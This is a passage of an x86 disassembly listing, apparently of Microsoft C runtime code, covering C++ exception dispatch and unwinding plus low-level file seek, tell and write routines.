[ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 nop call near ptr 2650000h loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 27711CFh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D call near ptr 2680972h nop jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: 